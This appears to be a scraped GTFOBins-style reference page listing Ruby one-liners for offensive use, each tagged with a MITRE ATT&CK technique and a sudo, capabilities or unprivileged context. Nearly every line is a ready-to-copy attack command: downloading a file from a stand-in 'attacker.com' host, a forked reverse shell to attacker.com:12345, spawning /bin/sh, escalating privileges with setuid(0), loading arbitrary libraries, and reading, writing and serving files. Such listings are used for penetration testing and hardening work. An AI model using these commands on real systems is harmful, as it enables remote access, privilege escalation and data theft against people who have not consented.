download File DownloadPrivilege Escalation LinuxmacOS ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")' copy Contextsudo Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/ruby/
download File Download LinuxmacOS ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")' copy Contextunprivileged Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/ruby/
file-read File ReadPrivilege Escalation LinuxmacOS ruby -e 'puts File.read("/path/to/input-file")' copy Contextsudo Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/ruby/
file-read File Read LinuxmacOS ruby -e 'puts File.read("/path/to/input-file")' copy Contextunprivileged Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/ruby/
file-write File WritePrivilege Escalation LinuxmacOS ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }' copy Contextsudo Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/ruby/
file-write File Write LinuxmacOS ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }' copy Contextunprivileged Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/ruby/
library-load Library LoadPrivilege Escalation LinuxmacOS ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")' copy Contextsudo Nativelibrary-load MITRET1574 Refsgtfobins.github.io/gtfobins/ruby/
library-load Library Load LinuxmacOS ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")' copy Contextunprivileged Nativelibrary-load MITRET1574 Refsgtfobins.github.io/gtfobins/ruby/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' copy Contextsudo Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/ruby/
reverse-shell Reverse/Bind Shell LinuxmacOS ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' copy Contextunprivileged Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/ruby/
shell ExecutionPrivilege Escalation LinuxmacOS ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' copy Contextcapabilities Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/ruby/
shell ExecutionPrivilege Escalation LinuxmacOS ruby -e 'exec "/bin/sh"' copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/ruby/
shell Execution LinuxmacOS ruby -e 'exec "/bin/sh"' copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/ruby/
upload File UploadPrivilege Escalation LinuxmacOS ruby -run -e httpd . -p 80 copy Contextsudo Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/ruby/
upload File Upload LinuxmacOS ruby -run -e httpd . -p 80 copy Contextunprivileged Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/ruby/